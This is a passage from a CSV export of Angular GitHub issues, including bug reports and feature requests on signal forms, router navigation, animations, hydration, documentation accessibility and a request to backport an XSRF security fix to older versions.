import {Input, Output, Component, EventEmitter} from '@angular/core';
import {bootstrapApplication} from '@angular/platform-browser';
import {NgFor} from '@angular/common';

interface ListItem {
  name: string;
}
@Component({
  selector: 's-item',
  template: `<div>magic: {{magic}}, name: {{data.name}} <button (click)=""changeName.emit(data)"">change name</button></div>`,
  styles: 'div{padding:4px;display: flex;justify-content:space-between}'
})
export class Item {
  magic = '';
  
  ngOnInit() {
    this.magic = Math.random().toString(36).slice(3);
  }
  
  @Input({required: true}) data: ListItem = {name: 'qqq'};
  @Output() changeName = new EventEmitter<ListItem>();
}

@Component({
  selector: 'app-root',
  template: `
  <h2>&#64;for</h2>
  @for(item of items;track item.name) { 
     <s-item [data]=""item"" (changeName)=""changeName($event)""/> 
  }
  <h2>ngFor</h2>
  
  <s-item 
    *ngFor=""let item of items2; trackBy: trackFn""
    [data]=""item"" (changeName)=""changeName($event)""/> 
  `,
  imports: [NgFor, Item]
})
export class Playground {
  i... [TRUNCATED]","open for contributions,area: docs",2026-01-20T17:44:35Z,2026-01-21T18:25:37Z,4
angular/angular,3834561028,@if formatting issues on HTML,"### Which @angular/* package(s) are relevant/related to the feature request?

ng19+

### Description

any plans to work with 'code formatter' extensions to fix the formatting problems with @if and other 'non-html' tags before making it the 'only' option with ng22?

### Proposed solution

work with them 

### Alternatives considered

keep *ngIf as an option so I would not wrap my **container** with an **if container**",,2026-01-20T16:51:56Z,2026-01-20T16:57:15Z,3
angular/angular,3834501219,Practical consequences of using enabledBlocking with non-destructive hydration (Angular 21 NG05001),"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

We’re seeking clarification on the practical implications of using Angular’s non-destructive hydration together with router`initialNavigation: 'enabledBlocking'`. In Angular 21, the NG05001 diagnostic flags this pairing as a configuration contradiction. We’d like to understand the real-world risks, failure modes, and the rationale behind discouraging this combination.

### Context
We maintain an open-source Angular meta-framework for building ecommerce. We use `initialNavigation: 'enabledBlocking'` to ensure SSR route guards (e.g., CMS page guards) complete before server-side render.
We encourage users to enable non-destructive hydration for SSR (with `provideClientHydration(withEventReplay(), withNoHttpTransferCache())`).
We have been running enabledBlocking + non-destructive hydration since May 2025 and have not observed degradation or functional issues so far.The new diagnostic in Angular 21 (NG05001) has introduced confusion for our community and library users, because it implies the configuration is invalid, but we haven’t observed issues yet.
**References**:
	• Angular issue: Show warning when `withEnabledBlockingInitialNavigation` Is used with `provideClientHydration` #59624
	• Angular PR: feat(platform-browser): Warns on conflicting hydration and blocking #62963
	• Please note: These threads are closed/locked, so we’re opening a new issue to ask for guidance.

### Ques... [TRUNCATED]","area: router,area: core",2026-01-20T16:35:11Z,2026-01-20T18:41:47Z,3
angular/angular,3834221155,feat(template): support optional type annotations in @let declarations,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Extend the @let template declaration syntax to support optional type annotations, similar to TypeScript variable declarations:
```ts
@let myVar: MyType = myAny;
```
Eg.:
```ts
type MyType = { foo: boolean };

@Component({
  selector: 'app-root',
  template: `
    @let myVar: MyType = myAny;

    {{ myVar.foo }}
  `,
})
export class App {
  MyType!: MyType;
  myAny: any = { foo: true };
}
```

### Proposed solution

```ts
@let myVar: MyType = myAny;
```

### Alternatives considered

```ts
@let myVar = myAny as MyType;
```

OR 

some trick for declare type into template like JSDOC???

```ts
type MyType = { foo: boolean };

@Component({
  selector: 'app-root',
  template: `
    <!-- @type { MyType } -->
    @let myVar = myAny;

    {{ myVar.foo }}
  `,
})
export class App {
  MyType!: MyType;
  myAny: any = { foo: true };
}
```",,2026-01-20T15:26:04Z,2026-01-20T15:35:15Z,2
angular/angular,3833420599,Disable control flow migration for Angular 21.,"### Command

update

### Description

Until angular version 20, we had option to opt out from control flow migration. But in angular version 21 by default it will run control flow migration and convert *ngFor into @for. Is there any way to opt out from it for now? Or we have to revert it manually for now?

### Describe the solution you'd like

Provide an option on cli to opt out from control flow migration.

### Describe alternatives you've considered

_No response_",,2026-01-20T11:38:24Z,2026-01-20T11:41:48Z,4
angular/angular,3833022782,"[signal forms]: debounceForDuration does not resolve its Promise on abort, causing pending awaits","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

The current implementation of debounceForDuration does not resolve or reject the returned Promise when the associated AbortSignal is aborted ([source](https://github.com/angular/angular/blob/5d46554e3fe8b64c5fefc7a8ce891c179741977e/packages/forms/signals/src/api/rules/debounce.ts#L44)).

As a result, callers awaiting this Promise may remain suspended indefinitely. In particular, debounceSync awaits debounceForDuration ([source](https://github.com/angular/angular/blob/5d46554e3fe8b64c5fefc7a8ce891c179741977e/packages/forms/signals/src/field/node.ts#L324)), and if the debounce is aborted, the await never resolves.

This can lead to:
- async execution paths that never complete
- retention of async stack frames and captured variables
- potentially increased memory usage in long-running or frequently triggered scenarios

Resolving the Promise on abort would avoid this issue. This should be safe, as debounceSync already checks `controller.signal.aborted` before performing the sync operation, so resolving early would not change observable behavior—only ensure proper completion of the async flow.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Node.js          ... [TRUNCATED]","area: forms,forms: signals",2026-01-20T10:13:31Z,2026-01-30T17:19:44Z,1
angular/angular,3831622306,Forms `code-examples.db` is corrupted.,"When running the `find_examples` tool I often get `All available example databases were invalid. Cannot perform query.`

It turns out that the `code-examples.db`  located in `node_modules/@angular/forms/resources` is corrupted.  

The infra was set-up by #65975

Edit: the target that generates the db works properly. Running `pnpm bazel build //packages/forms:forms_example_databaseta` creates a valid db. Something is corrupting it latest in the process. 
",area: dev-infra,2026-01-20T00:52:34Z,2026-01-21T18:35:06Z,1
angular/angular,3830315663,Compiler-plugin error causes frontend build to fail,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We recently got a dependabot PR prompting us to bump @angular/compiler from 21.0.6 to 21.0.7. However, this causes the frontend build to fail in our CI pipeline, so we cannot accept the PR.

We get the following error:

`✘ [ERROR] Method not implemented. [plugin angular-compiler]

  This error came from the ""onStart"" callback registered here:

    node_modules/@angular/build/src/tools/esbuild/angular/compiler-plugin.js:120:18:
      120 │             build.onStart(async () => {
          ╵                   ~~~~~~~

    at setup (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/@angular/build/src/tools/esbuild/angular/compiler-plugin.js:120:19)
    at handlePlugins (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:1141:21)
    at buildOrContextImpl (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:854:5)
    at Object.buildOrContext (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:680:5)
    at /home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:2026:15
    at new Promise (<anonymous>)
    at Object.build (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:2025:25)
    at buil... [TRUNCATED]",needs reproduction,2026-01-19T15:56:10Z,2026-01-20T08:23:11Z,3
angular/angular,3825965472,"Feature Request: ""hasError"" for Signal Forms in order to avoid the problem of ""magic numbers""","### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

To my best understanding the only way to print an error message in the HTML template is to pass a number as the index of array returned by [errors()](https://angular.dev/api/forms/signals/FieldState#errors) method:

HTML:
```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
    <div>{{ loginForm.email().errors()[0].message }}</div>
    <div>{{ loginForm.email().errors()[1].message }}</div>
}
```

TS:
```
loginForm = form(this.userFields, (path: SchemaPathTree<ILoginFields, PathKind.Root>) => {
    required(path.email, { message: 'Email is required' });
    pattern(path.email, /^[^\s@]+@[^\s@]+\.[^\s@]+$/, { message: 'Invalid email format' });
});
```

Would it be possible to add something similar to [hasError](https://angular.dev/api/forms/FormControl#hasError) method from FormControl so that the error messages would not be accessed via ""magic numbers""?

### Proposed solution

```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
  <div class=""alert"">
    @if (loginForm.email().hasError('required')) {
      <div class=""form-error"">E-mail is required.</div>
    }
    @if (loginForm.email().hasError('pattern')) {
      <div class=""form-error form-error--secondary"">Please provide a valid-email address.</div>
    }
  </div>
}
```

### Alternatives considered

```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
  <div class=""alert"">
... [TRUNCATED]",,2026-01-17T22:39:25Z,2026-01-17T23:25:08Z,1
angular/angular,3824063870,When selecting a back button causes a brief flicker,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I have a form on one route with radio buttons, an input box, and a button to navigate to the next route. The second route has a back button that returns to the previous route. When I click this back button, I notice a brief flicker where the previously selected radio button momentarily displays as unselected before immediately switching back to the selected state.

Interestingly, this flicker doesn't occur when I use the browser's back button. Is this flickering behavior inherent to how Angular handles navigation, or is there a way to prevent it?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
This happens in Angular 19 and Angular 21
```

### Anything else?

_No response_","needs reproduction,area: router",2026-01-17T00:11:59Z,2026-01-20T21:02:45Z,3
angular/angular,3823020547,`animate.leave` does not work for the last `@for` element within an `@if`,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Do something like this:

```
 @if (items().length) {
    <div class=""items"">
      @for (item of items(); track item.id) {
        <div class=""item"" animate.leave=""fade-out"">
          Item {{ item.id }}
        </div>
      }
    </div>
  }
```
and start removing elements from `items`.
The animation will work for most items, except for the last one (when the `@if` toggles).

It's unexpected.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-wv31ddgt?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.1.0            │ ^21.1.0           │
│ @angular/build            │ 21.1.0            │ ^21.1.0           │
│ @angular/cli              │ 21.1.0            │ ^21.1.0           │
│ @angular/common           │ 21.1.0            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.0            │ ^21... [TRUNCATED]",,2026-01-16T17:54:24Z,2026-01-16T18:10:20Z,2
angular/angular,3821924022,Incorrect use of aria-label in documentation for sub-section headings,"### Describe the problem that you experienced

Hi,

I'm a blind programmer and screen reader user.

Reading documentation on angular.dev, I see that, for each sub-section heading, there is something like:

```
<h2 id=""resource-loaders"">
  <a
    href=""#resource-loaders""
    class=""docs-anchor""
    tabindex=""-1""
    aria-label=""Link to Resource loaders"">
      Resource loaders
      <docs-copy-link-button
        mattooltipposition=""above""
        class=""mat-mdc-tooltip-trigger""
        _nghost-ng-c2302112746=""""
        aria-label=""Copy link to Resource loaders"">
        <docs-icon
          _ngcontent-ng-c2302112746=""""
          aria-hidden=""true""
          translate=""no""
          class=""material-symbols-outlined""
          _nghost-ng-c1001676203=""""
          ng-version=""21.1.0+sha-ded654d"">
            link
        </docs-icon>
      </docs-copy-link-button>
  </a>
</h2>
```

Even it's not so easy to point to a single, clear, authoritative resource about it, this is incorrect for various reasons:

- `<a>` tag contains text, perfectly retrievable by screen readers, but has also an aria-label;
- the label for `<a>` is prefixed with ""Link to"", but aria-label should not provide role info, and `<a>` tag is already exposed by browsers to screen readers as a link (so the current label just duplicates the role reporting);
- aria-label on `<a>` hides completely the nested pseudo-button and icon (latter is hidden with aria, anyway, so ok);
- the `<docs-copy-link-button>` pseudo-butto... [TRUNCATED]",area: docs-infra,2026-01-16T12:55:11Z,2026-01-21T18:25:38Z,8
angular/angular,3819265633,Signal Forms - Value type can't extend generics,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

```ts
interface XXX {}

@Component({
  selector: 'cat-cat',
  imports: [],
  template: '',
})
export class Cat<T extends XXX> {
  protected readonly model = signal<{query: string; result: XXX | null}>({
    query: '',
    result: null,
  });

  protected readonly form = form(this.model, (schema) => {
    required(schema.cat); /* This is error */
  });
}

```
","area: forms,forms: signals",2026-01-15T21:35:15Z,2026-03-19T18:21:24Z,4
angular/angular,3818990826,Angular version 18.2.14 has a bug on @Directive standalone compiling,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Looks like Angular version 18.2.14 has a bug on @Directive standalone compiling

the directive:

```
import { Directive, ElementRef, HostListener } from '@angular/core';
@Directive({
  selector: '[appHighlight]',
  standalone: true
})
export class HighlightDirective {
  constructor(private el: ElementRef) { }
  @HostListener('mouseenter') onMouseEnter(): void {
    this.highlight('yellow');
  }
  @HostListener('mouseleave') onMouseLeave(): void {
    this.highlight('');
  }
  private highlight(color: string): void {
    this.el.nativeElement.style.backgroundColor = color;
  }
}
```
I have a page which used it
```
  <div >
    <h1>Hello, {{ title }}</h1>
    <p appHighlight>Congratulations! Your app is running. </p>
  </div>
```
So I need to add them into imports like this:
```
  standalone: true,
  imports: [RouterOutlet, HighlightDirective, IfNullPipe],
```
But compiling didn’t complain if I remove it from imports and the page function is silently broken

I tried to remove other necessary components like IfNullPipe and immediately get compiling error

I knew in HTML spec, an element can add any extra attribute 

But  I still think it is a bug on @Directive standalone compiling because its silent failure make it dangerous

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

... [TRUNCATED]",,2026-01-15T20:09:21Z,2026-01-15T20:10:57Z,2
angular/angular,3818476663,[signal forms] FormField directive does not work with host directives inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

When creating custom form controls using a host directive that implements the FormValueControl interface and exposes shared inputs, the associated FormField directive no longer propagates input updates (for example, required and disabled) to the control.

This behaviour worked as expected in Angular Forms v21.0.1, but appears to have regressed in v21.0.8.

Using host directives to expose and share inputs across components is a common pattern in our codebase. The current behaviour prevents this pattern from working correctly and represents a regression from previous releases. Restoring this functionality would be highly beneficial, as it is relied upon extensively.

A minimal, stripped-down reproduction of this use case is provided below.

**Our directive**
```typescript
// imports....

@Directive({
    standalone: true,
    exportAs: 'isFormControl',
})
export class IsFormControlDirective<ValueType = any> implements FormValueControl<ValueType | null> {
    public readonly value: ModelSignal<ValueType | null> = model<ValueType | null>(null);

    public readonly name: InputSignal<string> = input<string>('');

   public readonly required: InputSignal<boolean> = input<boolean>(false);

    public readonly disabled: InputSignal<boolean> = input<boolean>(false);

    public readonly readOnly: InputSignal<boolean> = input<boolean>(false);

    public readonly touched:... [TRUNCATED]","area: forms,forms: signals",2026-01-15T17:31:25Z,2026-02-18T22:06:56Z,12
angular/angular,3818291477,Angular Elements imported by Angular have inconsistent lifecycle,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No. This has been the case for as long as I have used Angular, at least 3 years.

### Description

When an Angular component imports another Angular component, `ngOnInit`, `effect`s and `resource`s are called once the inputs are set.

When an Angular component imports an **Angular Elements element**, `ngOnInit`, `effect`s and `resource`s are called before the inputs are set.

There seems to be no alternative lifecycle hook to know when the inputs have indeed been set.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fpq5sqat?file=src%2Fmain.ts,src%2Fsub-component.ts,src%2Findex.html,package.json

### Please provide the exception or error you saw

```true
In the Angular component, `ngOnInit` is correctly called with values.

In the Angular Elements element, `ngOnInit` is called with undefined inputs.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
See Stackblitz, 21.1.0 for all the packages. However, this dates back at least to Angular 15.
```

### Anything else?

If an input is marked as required, the following error is logged.

```
Error: NG0950: Input ""id"" is required but no value is available yet. Find more at https://v21.angular.dev/errors/NG0950
```

Note that this error only applies for dynamic inputs. With the following example, `language = input.required()` does work.

```htm... [TRUNCATED]",area: elements,2026-01-15T16:36:04Z,2026-02-10T12:35:12Z,1
angular/angular,3817906609,Cannot apply queryParameters to current route with Router.navigate,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

In my application, I use the following code to apply a generated session Id to my current route with the following code:
`this.router.navigate([], {
      queryParamsHandling: 'merge',
      queryParams: {host: this.sessionId()}
    });`
This worked fine in Angular 20 and before, however after updating to Angular 21, this code now throws the error:
`NG04002: Cannot match any routes. URL Segment: 'error;errorCode=RestrictedByContext'`

Is this particular use case not supported anymore? In the documentation of read roud state, it still shows a similar example being used:
https://angular.dev/guide/routing/read-route-state

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: router",2026-01-15T14:58:14Z,2026-01-16T17:51:35Z,4
angular/angular,3816833720,reset formModel to initial state,"### Which @angular/* package(s) are relevant/related to the feature request?

  ""dependencies"": {
    ""@angular/animations"": ""^21.1.0"",
    ""@angular/common"": ""^21.1.0"",
    ""@angular/compiler"": ""^21.1.0"",
    ""@angular/core"": ""^21.1.0"",
    ""@angular/forms"": ""^21.1.0"",
    ""@angular/platform-browser"": ""^21.1.0"",
    ""@angular/router"": ""^21.1.0"",
    ""@azure/msal-angular"": ""^4.0.23"",
    ""@azure/msal-browser"": ""^4.26.1"",
    ""@azure/msal-common"": ""^15.13.0"",
    ""@vitest/browser-playwright"": ""^4.0.15"",
    ""ngxsmk-datepicker"": ""^2.0.4"",
    ""rxjs"": ""~7.8.2"",
    ""tslib"": ""^2.3.0""
  },

### Description

if i use a form model:

```
export const myFormModel = signal<IMyObject>({
    id: '',
    name: ''
}
```

together with a schema:

```
export const mySchema: Schema<IMyObject> = schema<IMyObject>((p) => {
    required(p.id, { message: 'Enter the id' });
    required(p.name, { message: 'Enter the name' });
    minLength(p.name, 3, { message: 'Minimum of 3 characters' });
}
```

to set up a form:

`  protected readonly myForm = form(myFormModel , mySchema);`

and create a new object, that is fine.

if i then want to edit an object using a form with similar setup, fine. 

but if i then want to create a new object, the formModel hangs on to the old values and populates the new form with those values, when what i would hope for is an empty form. i need to reset the form by manually resetting each individual value. can there be a method i can call that will automagically do this for... [TRUNCATED]",,2026-01-15T09:59:17Z,2026-01-15T11:02:20Z,7
angular/angular,3816526453,"signal forms 21.1.0 :  '""@angular/forms/signals""' has no exported member 'Field'","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

updated to @angular/forms"": ""^21.1.0"" and ng build gives

[ERROR] TS2305: Module '""@angular/forms/signals""' has no exported member 'Field'. [plugin angular-compiler]



### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
as above. 

[ERROR] TS2305: Module '""@angular/forms/signals""' has no exported member 'Field'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

<img width=""699"" height=""647"" alt=""Image"" src=""https://github.com/user-attachments/assets/a840f6d4-891d-4e70-b34b-f1f6018abf16"" />

### Anything else?",,2026-01-15T08:30:51Z,2026-01-15T08:51:23Z,3
angular/angular,3815871182,Angular packages are not published in valid Angular Package Format,"### Is this a regression?

Yes

### Description

[Angular Package Format](https://angular.dev/tools/libraries/angular-package-format#fesm) defines FESM as ""Short for Flattened ES Modules and consists of a file format created by flattening all ES Modules accessible from an entry point into a single ES Module.""

Angular currently publishes its packages within an `fesm2022` directory, but the modules are not flattened: the entry points import from other files internal to the package.

This appears to have been broken with Angular 19.

I suspect this is the new-normal, in which case I will find a way to re-bundle them during the linking step so that our build system doesn't choke.
If so, the docs for the APF should be updated, and the files should be moved out of the `fesm2022` directory.","state: has PR,area: docs",2026-01-15T03:39:26Z,2026-01-15T19:05:43Z,4
angular/angular,3814787137,ng-star-inserted generated when using @angular/animations,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Hey, we have big angular v19 app, and when bootstrapping we have many nodes (>1000) having this class assigned `ng-star-inserted` , we do no op animation modules  and some components have animations declared, i dont have exact repro, but is class present means animations not done or disposed correctly ?

here small experiment with v17:
- no `ng-star-inserted`  present - https://stackblitz.com/edit/stackblitz-starters-xkul5rbf?file=src%2Fmain.ts
-   `ng-star-inserted`  added - https://stackblitz.com/edit/stackblitz-starters-faz3rp?file=src%2Fmain.ts

should we see those classes everywhere when using any animation ? what recommendation here?


### Please provide a link to a minimal reproduction of the bug

 https://stackblitz.com/edit/stackblitz-starters-faz3rp?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
n/a
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
angular >= v17
```

### Anything else?

<img width=""800"" height=""457"" alt=""Image"" src=""https://github.com/user-attachments/assets/ffb7ce54-9ae7-4f4e-bbf4-048157785658"" />",,2026-01-14T20:38:02Z,2026-01-14T20:47:31Z,4
angular/angular,3813538392,Testbed.tick() not triggering signal form state,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

In a angular test I am trying to test simple async validator for a signal form, but even after applying TestBed.tick() signal form seems to be in invalid state. Workaround seems to be  await Promise.resolve(); twice.

 It also works if I replace  `TestBed.tick(); `with `tick()` & `fakeAsync`, but we are moving away from `zone`.


```ts
 it('should be valid - not working',  () => {
      TestBed.runInInjectionContext(() => {
        f = form(model, path => {
            asyncValValidator(path);
        });
      });
      model.set('aaaa');
      TestBed.tick();
      expect(f().valid()).toBeTrue(); // fails, needs tick() from fakeAsync
    });

    it('should be valid works workarund', async () => {
        TestBed.runInInjectionContext(() => {
          f = form(model, path => {
              asyncValValidator(path);
          });
        });
        
        model.set('aaaa');
        TestBed.tick();
        await Promise.resolve();
        await Promise.resolve(); // workound for fakeAsync + tick()

        expect(f().valid()).toBeTrue(); // needs fakeAsync to work or Promise.resolve twice
      });
```

Full example on link bellow. I'm sorry for output noise, didn't managed to get tests to output nice on Stackblitz.




### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/kle-pra/ng-signal-form-asyn... [TRUNCATED]",,2026-01-14T14:50:01Z,2026-01-14T14:54:31Z,3
angular/angular,3813415438,Angular Language Service VSCode extension stuck initializing,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

The Angular Language Service extension gets stuck initializing in our projects. There are no errors in the logs and it keeps showing the message that initialization is ongoing.

I've set `angular.log` to `verbose` to capture a log output. I see no obvious critical errors and no progress messages from a certain point onward. It seems the extension just does nothing - which I assume isn't actually the case. It's more likely something is happening in the background, but there is no insight into this and it's therefore difficult to debug.

This is the log: [nglangvsc.log](https://gist.github.com/sbarfurth/829eab24cbb1659183b586a447beb584)

The last entry in the log is from `14:7:50.922`. As I write this, it is `14:20:00.000` and there have been no new logs but the language service is still not ready.

*Note that the `REDACTED.ts` files are all different files. I've removed as much information as I deemed necessary, but I removed no lines from the log output and did not alter the `tsconfig`.*

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Initializing Angular language features
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 22.18.0
Package Manager: pnpm 10.14.0
OS: linux x64

Using Angular vers... [TRUNCATED]",area: vscode-extension,2026-01-14T14:18:47Z,2026-01-23T19:52:39Z,5
angular/angular,3811845131,Fix CVE-2025-66035 for Angular 16.2.12,"Hi! 👋 
      
Firstly, thanks for your work on this project! 🙂

Today I used [patch-package](https://github.com/ds300/patch-package) to patch `@angular/common@16.2.12` for the project I'm working on.

Unfortunately there are no official patches for recently found CVE-2025-66035 vulnerability. Could you please apply this to 16 and 18 Angular versions?

Here is the diff that solved my problem (copied for offical fix):

```diff
                   diff --git a/node_modules/@angular/common/esm2022/http/src/xsrf.mjs b/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
index e76a05e..52485b7 100644
--- a/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
+++ b/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
@@ -68,6 +68,9 @@ i0.ɵɵngDeclareClassMetadata({ minVersion: ""12.0.0"", version: ""16.2.12"", ngImpo
                     type: Inject,
                     args: [XSRF_COOKIE_NAME]
                 }] }]; } });
+
+const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i;
+
 export function xsrfInterceptorFn(req, next) {
     const lcUrl = req.url.toLowerCase();
     // Skip both non-mutating requests and absolute URLs.
@@ -75,7 +78,7 @@ export function xsrfInterceptorFn(req, next) {
     // anyway as the cookie set
     // on our origin is not the same as the token expected by another origin.
     if (!inject(XSRF_ENABLED) || req.method === 'GET' || req.method === 'HEAD' ||
-        lcUrl.startsWith('http://') || lcUrl.startsWith('https://')) {
+        ABSOLUTE_URL_REGEX.test... [TRUNCATED]",,2026-01-14T06:54:37Z,2026-01-14T06:57:36Z,4
angular/angular,3809395444,"ng content fallback elements not showing when its select attribute is ""mentioned"" even when it isnt used","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

im on angular 20 and i am trying to play around with getting content projection to work the way i want. My component exposing a content slot looks like this:

```
import { AfterContentInit, Component, ElementRef, inject, signal } from '@angular/core';

@Component({
  selector: 'projection',
  template: `
    <div>{{ isSlotProvided() }}</div>
    <ng-content select=""[slot]"">
      <div>this is my default</div>
    </ng-content>
    `
})
export class ProjectionComponent implements AfterContentInit {
  private readonly elementRef = inject(ElementRef);

  protected readonly isSlotProvided = signal(false);

  ngAfterContentInit(): void {
    const slotElement = this.elementRef.nativeElement.querySelector('[slot]');
    this.isSlotProvided.set(!!slotElement);
  }
}
```

it has one ng-content element looking for a `slot` attribute to fill the content, otherwise its showing a div with some text. It uses ngAfterContentInit to set a boolean to whether or not it thinks the slot has been filled

my consuming component is using SlotComponent like this:

```
<projection>
  @if (false) {
    <div slot><span>hi there</span></div>
  }
</projection>
```

I would expect the projection component to be showing the default content and for isSlotProvided to be false but weirdly enough isSlotProvided is false _but the default content is not showing either_. This kind of ruins my plans to... [TRUNCATED]",,2026-01-13T15:32:15Z,2026-01-13T16:09:02Z,2
angular/angular,3806684887,No se generan los archivos ngsw-worker.js y ngsw.json en Angular 21 con configuración PWA,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Descripción:
Después de actualizar a Angular 21 y seguir la configuración oficial de PWA (serviceWorker: true en angular.json, [ngsw-config.json](vscode-file://vscode-app/Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html) válido en la raíz), el build termina correctamente pero no se generan los archivos ngsw-worker.js ni ngsw.json en el directorio de salida. Esto ocurre tanto en un proyecto migrado como en uno nuevo creado con Angular CLI 21 y ng add @angular/pwa.

Pasos para reproducir:

Crear un nuevo proyecto Angular: ng new prueba-pwa --routing --style=scss
Agregar soporte PWA: ng add @angular/pwa
Ejecutar build: ng build --configuration production --service-worker
Revisar dist/prueba-pwa/browser (no aparecen ngsw-worker.js ni ngsw.json).
Configuración relevante:

angular.json: [""serviceWorker"": true](vscode-file://vscode-app/Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html) en opciones de build.
ngsw-config.json: válido, en la raíz del proyecto.
Todas las dependencias Angular en 21.0.5.
Resultado esperado:
ngsw-worker.js y ngsw.json deberían generarse en el directorio de salida.

Resultado actual:
Los archivos no aparecen, sin errores en la salida del build.

Notas adicionales:

El problema persiste con y sin S... [TRUNCATED]",,2026-01-13T01:35:13Z,2026-01-13T01:42:09Z,2
angular/angular,3805426980,Add doc for typescript-configuration,"### Describe the problem that you experienced

Previously We've doc like https://v17.angular.io/guide/typescript-configuration",,2026-01-12T18:14:41Z,2026-01-12T18:18:19Z,2
angular/angular,3804184512,`(animate.leave)` doesn't work on host,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Self-explanatory. Open and close the popup, the ""leave"" animation doesn't work.

I'm trying to avoid adding unnecessary wrapping `@if` in Popup component (as I do [here](https://stackblitz.com/edit/stackblitz-starters-yltijb9m?file=src%2Fpopup%2Fpopup.component.html)) to achieve pretty basic goal of creating a wrapping component with enter/leave animations, which the component's host doesn't know anything about.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-u7sunwoe

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.8
Node: 22.13.1
Package Manager: yarn 1.22.19
OS: win32 x64
    

Angular: 20.3.9
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package                            Version
------------------------------------------
@angular-devkit/architect          0.2003.8
@angular-devkit/core               20.3.8
@angular-devkit/schematics         20.3.8
@angular/build                     20.3.8
@angular/cdk                       20.2.11
@angular/cli                       20.3.8
@angular/fire                      20.0.1
@angular/material                  20.2.11
@angular/material-moment-adapter   20.2.11
@schematics/... [TRUNCATED]","area: core,core: animations",2026-01-12T12:48:27Z,2026-02-06T17:42:37Z,18
angular/angular,3804043880,`(animate.leave)` event is emitted twice,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Self-explanatory. Open the popup, close it and check console logs.

P. S. There's a weird thing in the reproduction though: for some reason I need to call `cdr.detectChanges()` in `closeChild()` of `HostComponent` in order to properly destroy the component when closing. Uncomment that line to be able to toggle the popup back and forth continuously. I don't need that in my project. Maybe one more issue related to the reworked animations mechanism?

P. P. S. I wrap the popup template in `@if (isOpen) {}` because host binding of `(animate.leave)` doesn't work despite https://github.com/angular/angular/issues/63199 having been resolved. Another issue?

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-yltijb9m

### Please provide the environment you discovered this bug in (run `ng version`)

```true
